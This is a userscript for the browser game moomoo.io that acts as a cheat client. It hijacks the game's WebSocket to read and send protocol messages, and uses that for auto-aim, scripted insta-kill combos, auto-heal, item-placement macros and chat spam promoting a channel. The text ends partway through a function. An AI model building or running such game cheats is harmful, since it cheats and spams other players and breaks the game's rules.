· 5 years ago · Aug 07, 2020, 07:12 AM
1// ==UserScript==
2// @name CloudyMod Fixed by Lovable
3// @namespace -
4// @version Last
5// @description
6// @author Lovable
7// @match *://moomoo.io/*
8// @match *://dev.moomoo.io/*
9// @match *://sandbox.moomoo.io/*
10// @grant none
11// @require https://greasyfork.org/scripts/368273-msgpack/code/msgpack.js?version=598723
12// @require http://code.jquery.com/jquery-3.3.1.min.js
13// @require https://code.jquery.com/ui/1.12.0/jquery-ui.min.js
14// @require https://cdnjs.cloudflare.com/ajax/libs/jquery-confirm/3.3.0/jquery-confirm.min.js
15// @downloadURL none
16// ==/UserScript==
17function Parse() {
18 document.addEventListener('keydown', function (CustomKey1) {
19 if (CustomKey1.keyCode == 89) {
20 storeBuy(6)
21 }
22 });
23 };
24
25 document.addEventListener('keydown', function (CustomKey1) {
26 if (CustomKey1.keyCode == 16) {
27 storeBuy(12)
28 }
29 }
30 );
31 ;
32 document.addEventListener('keydown', function (CustomKey1) {
33 if (CustomKey1.keyCode == 16) {
34 storeBuy(15)
35 }
36 }
37 );
38 ;
39 document.addEventListener('keydown', function (CustomKey1) {
40 if (CustomKey1.keyCode == 16) {
41 storeBuy(31)
42 }
43 }
44 );
45 ;
46 document.addEventListener('keydown', function (CustomKey1) {
47 if (CustomKey1.keyCode == 221) {
48 storeBuy(22)
49 }
50 }
51 );
52 ;
53 document.addEventListener('keydown', function (CustomKey1) {
54 if (CustomKey1.keyCode == 75) {
55 storeBuy(20)
56 }
57 }
58 );
59 ;
60 document.addEventListener('keydown', function (CustomKey1) {
61 if (CustomKey1.keyCode == 71) {
62 storeBuy(26)
63 }
64 }
65 );
66 ;
67 document.addEventListener('keydown', function (CustomKey1) {
68 if (CustomKey1.keyCode == 84) {
69 storeBuy(7)
70 }
71 }
72 );
73 ;
74 document.addEventListener('keydown', function (CustomKey1) {
75 if (CustomKey1.keyCode == 73) {
76 storeBuy(11)
77 }
78 }
79 );
80 ;
81 document.addEventListener('keydown', function (CustomKey1) {
82 if (CustomKey1.keyCode == 74) {
83 storeBuy(53)
84 }
85 }
86 );
87 ;
88 document.addEventListener('keydown', function (CustomKey1) {
89 if (CustomKey1.keyCode == 90) {
90 storeBuy(40)
91 }
92 }
93 );
94 ;
95 document.addEventListener('keydown', function (CustomKey1) {
96 if (CustomKey1.keyCode == 188) {
97 storeBuy(22)
98 }
99 }
100 );
101 ;
102Parse();
103
104$("#consentBlock").css({display: "none"});
105//$("#youtuberOf").css({display: "none"});
106$("#mapDisplay").css({background: `url('')`});
107
108document.getElementById("moomooio_728x90_home").style.display = "none";
109$("#moomooio_728x90_home").parent().css({display: "none"});
110
111window.onbeforeunload = null;
112
113let mouseX;
114let mouseY;
115
116let width;
117let height;
118
119setInterval(() => {
120 if(clanToggle == 1) {
121 doNewSend(["9", [null]]);
122 doNewSend(["8", [animate(false, 5)]])
123 }
124 doNewSend(["testing", [6]]);
125}, 200);
126
127setInterval(() => {
128 if(messageToggle == 1) {
129 doNewSend(["ch", [animate(true, 5)]])
130 }
131}, 200);
132
133setInterval(() => {
134 if(BotToggle == 1) {
135 doNewSend(["6", [3]]);
136 doNewSend(["6", [17]]);
137 doNewSend(["6", [31]]);
138 doNewSend(["6", [23]]);
139 doNewSend(["6", [9]]);
140 doNewSend(["6", [33]]);
141 doNewSend(["6", [4]]);
142 doNewSend(["6", [15]]);
143 doNewSend(["10", ["!BooM!"]]);
144 doNewSend(["ch", ["!BooM! !BooM!"]]);
145 doNewSend(["33", [nearestEnemyAngle]]);
146 setTimeout( () => {
147 doNewSend(["ch", ['!BooM! !BooM!']]);
148 doNewSend(["c", [1]]);
149 }, 5000);}
150}, 1);
151
152setInterval(() => {
153 if(autoaim == true) {
154 doNewSend(["2", [nearestEnemyAngle]]);
155 }
156}, 0);
157
158setInterval(() => {
159 if(autoaim == true) {
160 doNewSend(["2", [nearestEnemyAngle]]);
161 }
162}, 0);
163
164setInterval(() => {
165 if(hatToggle == 1) {
166 if(oldHat != normalHat) {
167 hat(normalHat);
168 console.log("Tried. - Hat")
169 }
170 if(oldAcc != normalAcc) {
171 acc(normalAcc);
172 console.log("Tried. - Acc")
173 }
174 oldHat = normalHat;
175 oldAcc = normalAcc
176 }
177}, 25);
178
179function normal() {
180 hat(normalHat);
181 acc(normalAcc);
182}
183
184function aim(x, y){
185 var cvs = document.getElementById("gameCanvas");
186 cvs.dispatchEvent(new MouseEvent("mousemove", {
187 clientX: x,
188 clientY: y
189
190 }));
191}
192
193let coreURL = new URL(window.location.href);
194window.sessionStorage.force = coreURL.searchParams.get("fc");
195
196var nearestEnemy;
197var nearestEnemyAngle;
198var isEnemyNear;
199var instaSpeed = 255;
200var instaSpeedd = 5;
201var primary;
202var secondary;
203var foodType;
204var wallType;
205var spikeType;
206var millType;
207var mineType;
208var boostType;
209var turretType;
210var spawnpadType;
211var autoaim = false;
212var tick = 1;
213var oldHat;
214var oldAcc;
215var enemiesNear;
216var normalHat;
217var normalAcc;
218var ws;
219var msgpack5 = msgpack;
220var boostDir;
221let myPlayer = {
222 id: null,
223 x: null,
224 y: null,
225 dir: null,
226 object: null,
227 weapon: null,
228 clan: null,
229 isLeader: null,
230 hat: null,
231 accessory: null,
232 isSkull: null
233};
234let healSpeed = 114;
235let healSpeedd = 5;
236let healSpeed2 = 0;
237var messageToggle = 0;
238var BotToggle = 0;
239var clanToggle = 0;
240let hitToggle = 1;
241let hittToggle = 1;
242let healToggle = 1;
243let healToggle2= 0;
244let hatToggle = 1;
245
246document.msgpack = msgpack;
247function n(){
248 this.buffer = new Uint8Array([0]);
249 this.buffer.__proto__ = new Uint8Array;
250 this.type = 0;
251}
252
253WebSocket.prototype.oldSend = WebSocket.prototype.send;
254WebSocket.prototype.send = function(m){
255 if (!ws){
256 document.ws = this;
257
258 ws = this;
259 socketFound(this);
260 }
261 this.oldSend(m);
262};
263
264
265function socketFound(socket){
266 socket.addEventListener('message', function(message){
267 handleMessage(message);
268 });
269}
270
271function handleMessage(m){
272 let temp = msgpack5.decode(new Uint8Array(m.data));
273 let data;
274 if(temp.length > 1) {
275 data = [temp[0], ...temp[1]];
276 if (data[1] instanceof Array){
277 data = data;
278 }
279 } else {
280 data = temp;
281 }
282 let item = data[0];
283 if(!data) {return};
284
285 if(item === "io-init") {
286 let cvs = document.getElementById("gameCanvas");
287 width = cvs.clientWidth;
288 height = cvs.clientHeight;
289 $(window).resize(function() {
290 width = cvs.clientWidth;
291 height = cvs.clientHeight;
292 });
293 cvs.addEventListener("mousemove", e => {
294 mouseX = e.clientX;
295 mouseY = e.clientY;
296 });
297 }
298
299 if (item == "1" && myPlayer.id == null){
300 myPlayer.id = data[1];
301 }
302
303 if (item == "33") {
304 enemiesNear = [];
305 for(let i = 0; i < data[1].length / 13; i++) {
306 let playerInfo = data[1].slice(13*i, 13*i+13);
307 if(playerInfo[0] == myPlayer.id) {
308 myPlayer.x = playerInfo[1];
309 myPlayer.y = playerInfo[2];
310 myPlayer.dir = playerInfo[3];
311 myPlayer.object = playerInfo[4];
312 myPlayer.weapon = playerInfo[5];
313 myPlayer.clan = playerInfo[7];
314 myPlayer.isLeader = playerInfo[8];
315 myPlayer.hat = playerInfo[9];
316 myPlayer.accessory = playerInfo[10];
317 myPlayer.isSkull = playerInfo[11];
318 } else if(playerInfo[7] != myPlayer.clan || playerInfo[7] === null) {
319 enemiesNear.push(playerInfo);
320 }
321 }
322 }
323
324 isEnemyNear = false;
325 if(enemiesNear) {
326 nearestEnemy = enemiesNear.sort((a,b) => dist(a, myPlayer) - dist(b, myPlayer))[0];
327 }
328
329 if(nearestEnemy) {
330 nearestEnemyAngle = Math.atan2(nearestEnemy[2]-myPlayer.y, nearestEnemy[1]-myPlayer.x);
331 if(Math.sqrt(Math.pow((myPlayer.y-nearestEnemy[2]), 2) + Math.pow((myPlayer.x-nearestEnemy[1]), 2)) < 300) {
332 isEnemyNear = true;
333 if(autoaim == true && myPlayer.hat != 7 && myPlayer.hat != 53) {
334 normalHat = 6;
335 if(primary != 8) {
336 normalAcc = 19
337 }
338 };
339 }
340 }
341 if(isEnemyNear == false && autoaim == true) {
342 normalAcc = 11;
343 if (myPlayer.y < 2400){
344 normalHat = 15;
345 } else if (myPlayer.y > 6850 && myPlayer.y < 7550){
346 normalHat = 31;
347 } else {
348 normalHat = 12;
349 }
350 }
351 if (!nearestEnemy) {
352 nearestEnemyAngle = myPlayer.dir;
353 }
354 if(item == "h" && data[1] == myPlayer.id) {
355 if(data[2] < 100 && data[2] > 0 && healToggle == 1) {
356 setTimeout( () => {
357 place(foodType, null);
358 }, healSpeed);
359
360 }
361 }
362 if(item == "h" && data[1] == myPlayer.id) {
363 if(data[2] < 100 && data[2] > 0 && healToggle2 == 1) {
364 setTimeout( () => {
365 place(foodType, null);
366 place(foodType, null);
367 place(foodType, null);
368 place(foodType, null);
369 }, -100);
370 }
371 }
372 if(item == "h" && data[1] == myPlayer.id) {
373 if(data[2] < 100 && data[2] > 0 && healToggle2 == 1) {
374 setTimeout( () => {
375 place(foodType, null);
376 place(foodType, null);
377 place(foodType, null);
378 place(foodType, null);
379 }, healSpeed2);
380
381 }
382 }
383 update();
384}
385
386function doNewSend(sender){
387 ws.send(new Uint8Array(Array.from(msgpack5.encode(sender))));
388}
389
390function acc(id) {
391 doNewSend(["13c", [0, 0, 1]]);
392 doNewSend(["13c", [0, id, 1]]);
393}
394
395function hat(id) {
396 doNewSend(["13c", [0, id, 0]]);
397}
398
399
400function place(id, angle = Math.atan2(mouseY - height / 2, mouseX - width / 2)) {
401 doNewSend(["5", [id, null]]);
402 doNewSend(["c", [1, angle]]);
403 doNewSend(["c", [0, angle]]);
404 doNewSend(["5", [myPlayer.weapon, true]]);
405}
406
407function boostSpike() {
408 if(boostDir == null) {
409 boostDir = nearestEnemyAngle;
410 }
411 place(spikeType, boostDir + toRad(90));
412 place(spikeType, boostDir - toRad(90));
413 place(boostType, boostDir);
414 doNewSend(["33", [boostDir]]);
415}
416
417var repeater = function(key, action, interval) {
418 let _isKeyDown = false;
419 let _intervalId = undefined;
420
421 return {
422 start(keycode) {
423 if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
424 _isKeyDown = true;
425 if(_intervalId === undefined) {
426 _intervalId = setInterval(() => {
427 action();
428 if(!_isKeyDown){
429 clearInterval(_intervalId);
430 _intervalId = undefined;
431 console.log("claered");
432 }
433 }, interval);
434 }
435 }
436 },
437
438 stop(keycode) {
439 if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
440 _isKeyDown = false;
441 }
442 }
443 };
444
445
446}
447
448const healer = repeater(81, () => {place(foodType)}, 0);
449const boostPlacer = repeater(70, () => {place(boostType)}, 0);
450const spikePlacer = repeater(86, () => {place(spikeType)}, 0);
451const millPlacer = repeater(78, () => {place(millType)}, 0);
452const turretPlacer = repeater(72, () => {place(turretType)}, 0);
453const boostSpiker = repeater(71, boostSpike, 0);
454
455document.addEventListener('keydown', (e)=>{
456 spikePlacer.start(e.keyCode);
457 healer.start(e.keyCode);
458 boostPlacer.start(e.keyCode);
459 boostSpiker.start(e.keyCode);
460 millPlacer.start(e.keyCode);
461 turretPlacer.start(e.keyCode);
462
463 if (e.keyCode == 80 && document.activeElement.id.toLowerCase() !== 'chatbox') {
464 for (let i=0;i<5;i++){
465 let angle = myPlayer.dir + toRad(i * 72);
466 place(millType, angle)
467 }
468 }
469 if (e.keyCode == 79 && document.activeElement.id.toLowerCase() !== 'chatbox') {
470 for (let i=0;i<4;i++){
471 let angle = myPlayer.dir + toRad(i * 90);
472 place(boostType, angle)
473 }
474 }
475 if (e.keyCode == 72 && document.activeElement.id.toLowerCase() !== 'chatbox') {
476 place(turretType, myPlayer.dir + toRad(45));
477 place(turretType, myPlayer.dir - toRad(45));
478 }
479 if (e.keyCode == 115 && document.activeElement.id.toLowerCase() !== 'chatbox') {
480 place(spawnpadType, myPlayer.dir + toRad(45));
481 place(spawnpadType, myPlayer.dir - toRad(45));
482 }
483 if (e.keyCode == 78 && document.activeElement.id.toLowerCase() !== 'chatbox') {
484 place(millType, myPlayer.dir + toRad(45));
485 place(millType, myPlayer.dir - toRad(45));
486 }
487 if (e.keyCode == 70 && document.activeElement.id.toLowerCase() !== 'chatbox') {
488 place(boostType, myPlayer.dir + toRad(0));
489 }
490 if (e.keyCode == 16 && document.activeElement.id.toLowerCase() !== 'chatbox') {
491 if (myPlayer.y < 2400){
492 hat(15);
493 } else if (myPlayer.y > 6850 && myPlayer.y < 7550){
494 hat(31);
495 } else {
496 hat(12);
497 }
498 acc(11);
499 }
500 if (e.keyCode == 84 && document.activeElement.id.toLowerCase() !== 'chatbox') {
501 hat(7);
502 acc(21);
503 }
504 if (e.keyCode == 89 && document.activeElement.id.toLowerCase() !== 'chatbox') {
505 hat(6);
506 acc(19);
507 }
508 if (e.keyCode == 71 && document.activeElement.id.toLowerCase() !== 'chatbox') {
509 hat(26);
510 acc(13);
511 }
512 if (e.keyCode == 75 && document.activeElement.id.toLowerCase() !== 'chatbox') {
513 hat(20);
514 acc(18);
515 }
516 if (e.keyCode == 90 && document.activeElement.id.toLowerCase() !== 'chatbox') {
517 hat(40);
518 acc(19);
519 }
520 if (e.keyCode == 74 && document.activeElement.id.toLowerCase() !== 'chatbox') {
521 hat(53);
522 acc(19);
523 }
524 if (e.keyCode == 73 && document.activeElement.id.toLowerCase() !== 'chatbox') {
525 hat(11);
526 acc(21);
527 }
528 if (e.keyCode == 188 && document.activeElement.id.toLowerCase() !== 'chatbox') {
529 hat(22);
530 acc(19);
531 }
532 if(e.keyCode == 82 && document.activeElement.id.toLowerCase() !== 'chatbox') {
533 autoaim = true;
534 doNewSend(["ch", ["#SubToSweetCakes"]]);
535 doNewSend(["5", [primary, true]]);
536 doNewSend(["13c", [0, 7, 0]]);
537 doNewSend(["13c", [0, 21, 1]]);
538 doNewSend(["c", [1]]);
539 setTimeout( () => {
540 doNewSend(["13c", [0, 53, 0]]);
541 doNewSend(["13c", [0, 18, 1]]);
542 doNewSend(["5", [secondary, true]]);
543 }, instaSpeed - 160);
544
545 setTimeout( () => {
546 doNewSend(["5", [primary, true]]);
547 doNewSend(["c", [0, null]]);
548 doNewSend(["13c", [0, 12, 0]]);
549 doNewSend(["13c", [0, 11, 1]]);
550 autoaim = false;
551 }, instaSpeed);
552 }
553 if(e.keyCode == 85 && document.activeElement.id.toLowerCase() !== 'chatbox') {
554 autoaim = true;
555 doNewSend(["ch", ['']]);
556 doNewSend(["5", [primary, true]]);
557 doNewSend(["13c", [0, 7, 0]]);
558 doNewSend(["13c", [0, 0, 1]]);
559 doNewSend(["13c", [0, 18, 1]]);
560 doNewSend(["ch", [(true, 5)]])
561 doNewSend(["c", [1]]);
562
563 setTimeout( () => {
564 doNewSend(["6", [5]]);
565 }, 100);
566
567 setTimeout( () => {
568 doNewSend(["13c", [0, 53, 0]]);
569 }, 200);
570
571 setTimeout( () => {
572 doNewSend(["5", [primary, true]]);
573 doNewSend(["c", [0, null]]);
574 doNewSend(["13c", [0, 0, 0]]);
575 doNewSend(["13c", [0, 6, 0]]);
576 doNewSend(["13c", [0, 19, 1]]);
577 autoaim = false;
578 }, 300);
579 }
580 if(e.keyCode == 32 && document.activeElement.id.toLowerCase() !== 'chatbox') {
581 autoaim = true;
582 doNewSend(["ch", ['']]);
583 doNewSend(["5", [primary, true]]);
584 doNewSend(["13c", [0, 7, 0]]);
585 doNewSend(["13c", [0, 0, 1]]);
586 doNewSend(["13c", [0, 18, 1]]);
587 place(spikeType, myPlayer.dir + toRad(45));
588 place(spikeType, myPlayer.dir - toRad(45));
589 doNewSend(["c", [1]]);
590
591 setTimeout( () => {
592 doNewSend(["13c", [0, 53, 0]]);
593 doNewSend(["ch", [(true, 5)]])
594 }, 100);
595
596 setTimeout( () => {
597 doNewSend(["c", [0, null]]);
598 doNewSend(["13c", [0, 0, 0]]);
599 doNewSend(["13c", [0, 6, 0]]);
600 doNewSend(["13c", [0, 19, 1]]);
601 autoaim = false;
602 }, 200);
603 }
604 if(e.keyCode == 77 && document.activeElement.id.toLowerCase() !== 'chatbox') {
605 autoaim = true;
606 doNewSend(["ch", ['']]);
607 doNewSend(["5", [primary, true]]);
608 doNewSend(["13c", [0, 26, 0]]);
609 doNewSend(["13c", [0, 7, 0]]);
610 doNewSend(["13c", [0, 0, 1]]);
611 doNewSend(["ch", [(true, 5)]])
612 doNewSend(["13c", [0, 18, 1]]);
613 doNewSend(["c", [1]]);
614 setTimeout( () => {
615 doNewSend(["13c", [0, 53, 0]]);
616 doNewSend(["5", [secondary, true]]);
617 }, instaSpeed - 130);
618
619 setTimeout( () => {
620 doNewSend(["5", [primary, true]]);
621 place(spikeType, myPlayer.dir + toRad(0));
622 doNewSend(["c", [0, null]]);
623 doNewSend(["13c", [0, 6, 0]]);
624 doNewSend(["5", [7]]);
625 doNewSend(["c", [1]]);
626 doNewSend(["c", [0]]);
627 autoaim = false;
628 }, instaSpeed);
629 }
630 if(e.keyCode == 109 && document.activeElement.id.toLowerCase() !== 'chatbox') {
631 doNewSend(["6", [5]]);
632 doNewSend(["6", [17]]);
633 doNewSend(["6", [31]]);
634 doNewSend(["6", [23]]);
635 doNewSend(["6", [9]]);
636 doNewSend(["6", [33]]);
637 doNewSend(["6", [28]]);
638 doNewSend(["6", [15]]);
639 }
640 if(e.keyCode == 106 && document.activeElement.id.toLowerCase() !== 'chatbox') {
641 doNewSend(["6", [3]]);
642 doNewSend(["6", [17]]);
643 doNewSend(["6", [31]]);
644 doNewSend(["6", [23]]);
645 doNewSend(["6", [9]]);
646 doNewSend(["6", [33]]);
647 doNewSend(["6", [4]]);
648 doNewSend(["6", [15]]);
649 }
650 if(e.keyCode == 96 && document.activeElement.id.toLowerCase() !== 'chatbox') {
651 doNewSend(["6", [3]]);
652 doNewSend(["6", [17]]);
653 doNewSend(["6", [31]]);
654 doNewSend(["6", [27]]);
655 doNewSend(["6", [10]]);
656 doNewSend(["6", [38]]);
657 doNewSend(["6", [4]]);
658 doNewSend(["6", [25]]);
659 }
660 if(e.keyCode == 38 && document.activeElement.id.toLowerCase() !== 'chatbox') {
661 messageToggle = (messageToggle + 1) % 2;
662 }
663 if(e.keyCode == 40 && document.activeElement.id.toLowerCase() !== 'chatbox') {
664 clanToggle = (clanToggle + 1) % 2;
665 }
666 if(e.keyCode == 112 && document.activeElement.id.toLowerCase() !== 'chatbox') {
667 healToggle = (healToggle + 1) % 2;
668 if(healToggle == 0) {
669 if(hatToggle == 0) {
670 document.title = "Heal: OFF | Hat: OFF"
671 } else {
672 document.title = "Heal: OFF | Hat: ON"
673 }
674 } else {
675 if(hatToggle == 0) {
676 document.title = "Heal: ON | Hat: OFF"
677 } else {
678 document.title = "Heal: ON | Hat: ON"
679 }
680 }
681 }
682 if(e.keyCode == 115 && document.activeElement.id.toLowerCase() !== 'chatbox') {
683 if (autoaim == false) {
684 autoaim = true;
685 document.title = "JamMod | Aim : On";
686 } else {
687 document.title = "JamMod | Aim : Off";
688 autoaim = false;
689 }
690 }
691 if(e.keyCode == 19 && document.activeElement.id.toLowerCase() !== 'chatbox') {
692 BotToggle = (BotToggle + 1) % 2;
693 if(BotToggle == 0) {
694 doNewSend(["ch", ["Bot Mode | Off"]]);
695 document.title = "Bot: OFF"
696 } else {
697 doNewSend(["ch", ["Bot Mode | On"]]);
698 document.title = "Bot: ON"
699 }
700 }
701 if(e.keyCode == 113 && document.activeElement.id.toLowerCase() !== 'chatbox') {
702 healToggle2 = (healToggle2 + 1) % 2;
703 if(healToggle2 == 0) {
704 if(hatToggle == 0) {
705 doNewSend(["ch", [""]]);
706 document.title = "Heal: OFF | Hat: OFF"
707 } else {
708 doNewSend(["ch", [""]]);
709 document.title = "Heal: OFF | Hat: ON"
710 }
711 } else {
712 if(hatToggle == 0) {
713 doNewSend(["ch", [""]]);
714 document.title = "Heal: ON | Hat: OFF"
715 } else {
716 doNewSend(["ch", [""]]);
717 document.title = "Heal: ON | Hat: ON"
718 }
719 }
720 }
721 if(e.keyCode == 107 && document.activeElement.id.toLowerCase() !== 'chatbox') {
722 autoaim = true;
723 doNewSend(["ch", ['']]);
724 doNewSend(["5", [secondary, true]]);
725 doNewSend(["ch", [(true, 5)]])
726 doNewSend(["13c", [0, 32, 0]]);
727 doNewSend(["13c", [0, 21, 1]]);
728 doNewSend(["13c", [0, 53, 0]]);
729 autoaim = true;
730 doNewSend(["c", [1]]);
731 autoaim = true;
732
733 setTimeout( () => {
734 doNewSend(["13c", [0, 32, 19]]);
735 doNewSend(["13c", [0, 21, 1]]);
736 doNewSend(["13c", [0, 32, 0]]);
737 autoaim = true;
738 doNewSend(["6", [12]]);
739 autoaim = true;
740
741 }, 100);
742
743 setTimeout( () => {
744 doNewSend(["6", [15]]);
745
746 }, 200);
747
748 setTimeout( () => {
749 doNewSend(["c", [0]]);
750 doNewSend(["5", [primary, true]]);
751 autoaim = true;
752 doNewSend(["13c", [0, 53, 0]]);
753 }, 300);
754 }
755
756 if(e.keyCode == 97 && document.activeElement.id.toLowerCase() !== 'chatbox') { ///num1 katana [age 8]
757 doNewSend(["6", [4]]);
758 }
759 if(e.keyCode == 98 && document.activeElement.id.toLowerCase() !== 'chatbox') { ///num2 musket [age 9]
760 doNewSend(["6", [15]]);
761 }
762 if(e.keyCode == 100 && document.activeElement.id.toLowerCase() !== 'chatbox') { ///num2 crossbow [age 8]
763 doNewSend(["6", [12]]);
764 }
765 if(e.keyCode == 105 && document.activeElement.id.toLowerCase() !== 'chatbox') { ///num9 max mill [age 8]
766 doNewSend(["6", [28]]);
767 }
768 if(e.keyCode == 104 && document.activeElement.id.toLowerCase() !== 'chatbox') { ///num8 max wall [age 7]
769 doNewSend(["6", [21]]);
770 }
771 if(e.keyCode == 101 && document.activeElement.id.toLowerCase() !== 'chatbox') { ///num5 spin spike [age 9]
772 doNewSend(["6", [25]]);
773 }
774 if(e.keyCode == 102 && document.activeElement.id.toLowerCase() !== 'chatbox') { ///num6 fast crossbow [age 9]
775 doNewSend(["6", [13]]);
776 }
777 if(e.keyCode == 99 && document.activeElement.id.toLowerCase() !== 'chatbox') { ///num3 great axe [age 8]
778 doNewSend(["6", [2]]);
779 }
780 if(e.keyCode == 118 && document.activeElement.id.toLowerCase() !== 'chatbox') {
781 if(instaSpeedd != 10){
782 instaSpeedd += 1;
783 }else{
784 instaSpeedd = 1;
785 }
786 doNewSend(["ch",["Insta-kill Speed: "+ instaSpeedd + "/10"]]);
787 instaSpeed = (10 - instaSpeedd) * 10 + 170;
788 }
789 if(e.keyCode == 119 && document.activeElement.id.toLowerCase() !== 'chatbox') {
790 if(healSpeedd != 10){
791 healSpeedd += 1;
792 }else{
793 healSpeedd = 1;
794 }
795 doNewSend(["ch",["AutoHeal Speed: " + healSpeedd + "/10"]]);
796 healSpeed = (10 - healSpeedd) * 10 + 40;
797 }
798 if(e.keyCode == 112 && document.activeElement.id.toLowerCase() !== 'chatbox') {
799 hatToggle = (hatToggle + 1) % 2;
800 if(healToggle == 0) {
801 if(hatToggle == 0) {
802 document.title = "Heal: OFF | Hat: OFF"
803 } else {
804 document.title = "Heal: OFF | Hat: ON"
805 }
806 } else {
807 if(hatToggle == 0) {
808 document.title = "Heal: ON | Hat: OFF"
809 } else {
810 document.title = "Heal: ON | Hat: ON"
811 }
812 }
813 }
814})
815
816document.addEventListener('keyup', (e)=>{
817 spikePlacer.stop(e.keyCode);
818 boostPlacer.stop(e.keyCode);
819 boostSpiker.stop(e.keyCode);
820 millPlacer.stop(e.keyCode);
821 turretPlacer.stop(e.keyCode);
822 healer.stop(e.keyCode);
823 if(e.keyCode == 71 && document.activeElement.id.toLowerCase() !== 'chatbox') {
824 setTimeout( () => {
825 doNewSend(["33", [null]]);
826 boostDir = null;
827 }, 10);
828 }
829})
830
831
832function isElementVisible(e) {
833 return (e.offsetParent !== null);
834}
835
836
837function toRad(angle) {
838 return angle * 0.01745329251;
839}
840
841function dist(a, b){
842 return Math.sqrt( Math.pow((b.y-a[2]), 2) + Math.pow((b.x-a[1]), 2) );
843}
844
845function animate(space, chance) {
846 let result = '';
847 let characters;
848 if(space) {
849 characters = '#SubToSweetCakesChannel';
850 } else {
851 characters = 'CloudMd';
852 }
853 if(space) {
854 characters = characters.padStart((30 - characters.length) / 2 + characters.length)
855 characters = characters.padEnd(30);
856 }
857 let count = 0;
858 for (let i = 0; i < characters.length; i++ ) {
859 if(Math.floor(Math.random() * chance) == 1 && characters.charAt(i) != "-" && count < 2 && characters.charAt(i) != " ") {
860 result += "_";
861 count++
862 } else {
863 result += characters.charAt(i);
864 }
865 }
866 return result;
867}
868
869document.title = "MooMoo.io"
870
871document.getElementById("gameName").innerHTML = "MooMoo.io";
872document.getElementById("leaderboard").append('');
873document.getElementById("diedText").innerHTML = "You Died";
874document.getElementById("gameName").style.color = "#FFFFFF";
875document.getElementById('nameInput').style.color = "#FFFFFF";
876document.getElementById("loadingText").style.color = "#FFFFFF";
877document.getElementById("scoreDisplay").style.color = "#FFFFFF";
878document.getElementById("woodDisplay").style.color = "#FFFFFF";
879document.getElementById("stoneDisplay").style.color = "#FFFFFF";
880document.getElementById("killCounter").style.color = "#FFFFFF";
881document.getElementById("foodDisplay").style.color = "#FFFFFF";
882document.getElementById("allianceButton").style.color = "#FFFFFF";
883document.getElementById("chatButton").style.color = "#FFFFFF";
884document.getElementById("storeButton").style.color = "#FFFFFF";
885document.getElementById("desktopInstructions").style.color = "#FFFFFF";
886document.getElementById("leaderboardData").style.color = "#FFFFFF";
887document.getElementById("ageText").style.color = "#FFFFFF";
888document.getElementById("leaderboard").style.color = "#FFFFFF";
889document.getElementById("diedText").style.color = "#FFFFFF";
890document.getElementById("ageBar").style.color = "#FFFFFF";
891document.getElementById('enterGame').style.color = "#000000";
892document.getElementById('enterGame').innerHTML = 'Enter Game ';
893document.getElementById('nameInput').placeholder = "#FFFFFF";
894document.getElementById("loadingText").innerHTML = "Loading";
895
896function update() {
897 for (let i=0;i<9;i++){
898 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
899 primary = i;
900 }
901 }
902
903 for (let i=9;i<16;i++){
904 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
905 secondary = i;
906 }
907 }
908
909 for (let i=16;i<19;i++){
910 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
911 foodType = i - 16;
912 }
913 }
914
915 for (let i=19;i<22;i++){
916 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
917 wallType = i - 16;
918 }
919 }
920
921 for (let i=22;i<26;i++){
922 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
923 spikeType = i - 16;
924 }
925 }
926
927 for (let i=26;i<29;i++){
928 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
929 millType = i - 16;
930 }
931 }
932
933 for (let i=29;i<31;i++){
934 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
935 mineType = i - 16;
936 }
937 }
938
939 for (let i=31;i<33;i++){
940 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
941 boostType = i - 16;
942 }
943 }
944
945 for (let i=33;i<39;i++){
946 if (isElementVisible(document.getElementById("actionBarItem" + i.toString())) && i != 36){
947 turretType = i - 16;
948 }
949 }
950 spawnpadType = 36;
951 for (let i=36;i<37;i++){
952 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
953 spawnpadType = i - 16;
954 }
955 }
956}
957
958function createTribe(name) {
959 leaveTribe();
960 doNewSend(["8", [name]]);
961}
962
963function leaveTribe() {
964 doNewSend(["9", [null]]);
965}
966
967var _msgs = ["-E64LO", "-E64LO", "-E64LO", "-E64LO"];
968var msgs = _msgs;
969var msgCycleSwitch = false;
970var shift = false;
971var minus = false;
972var home = false;
973var chat;
974var msgNum = 0;
975
976var socket = null;
977
978var scriptSetup = false;
979
980WebSocket = class extends WebSocket {
981 constructor(...arg) {
982 super(...arg);
983 if (!scriptSetup){
984 scriptSetup = true;
985 styleInit();
986 ren_overlay();
987 window.onbeforeunload = function (){
988 return 'Are you sure you want to leave?';
989 };
990 }
991 socket = this;
992 }
993};
994
995if (storageAvailable('localStorage')){
996 if (!localStorage.getItem("msgs")){
997 localStorage.setItem("msgs", JSON.stringify(msgs));
998 }else{
999 let temp;
1000 try{
1001 temp = JSON.parse(localStorage.getItem("msgs"));
1002 }
1003 catch (e){
1004 alert("Invalid Array! Setting default...");
1005 saveData();
1006 temp = "";
1007 }
1008 if (temp !== ""){
1009 msgs = temp;
1010 }
1011 }
1012}
1013
1014const overlay = {};
1015overlay.keyCode = 36;
1016overlay.toggle = false;
1017overlay.inputString = msgs.join("\n");
1018overlay.tempMsgs = _msgs;
1019
1020function styleInit() {
1021 addGlobalStyle(`#chatCyclerUI{padding: 0.2em; margin:0.2em; position: absolute;top: 0;left: 0;width: 30%;
1022 background-color: RGB(255, 4, 4);display:none;}`);
1023 addGlobalStyle(".table{ display: table; text-align: center; width: 100%; height: 80%;}");
1024 addGlobalStyle(".row{ display: table-row; }");
1025 addGlobalStyle(`.cell{ display: table-cell; padding: 0px 0.3em;border: 1px solid black;}`);
1026 addGlobalStyle(`.backRed{background-color:#FFFF00}`);
1027 function addGlobalStyle(css) {
1028 var head, style;
1029 head = document.getElementsByTagName('head')[0];
1030 if (!head) {
1031 return;
1032 }
1033 style = document.createElement('style');
1034 style.type = 'text/css';
1035 style.innerHTML = css;
1036 head.appendChild(style);
1037 }
1038}
1039
1040function toggleOverlay(tf){
1041 if (tf){
1042 document.querySelector('#chatCyclerUI').style.display = "block";
1043 }else{
1044 document.querySelector('#chatCyclerUI').style.display = "none";
1045 }
1046};
1047
1048function ren_overlay(){
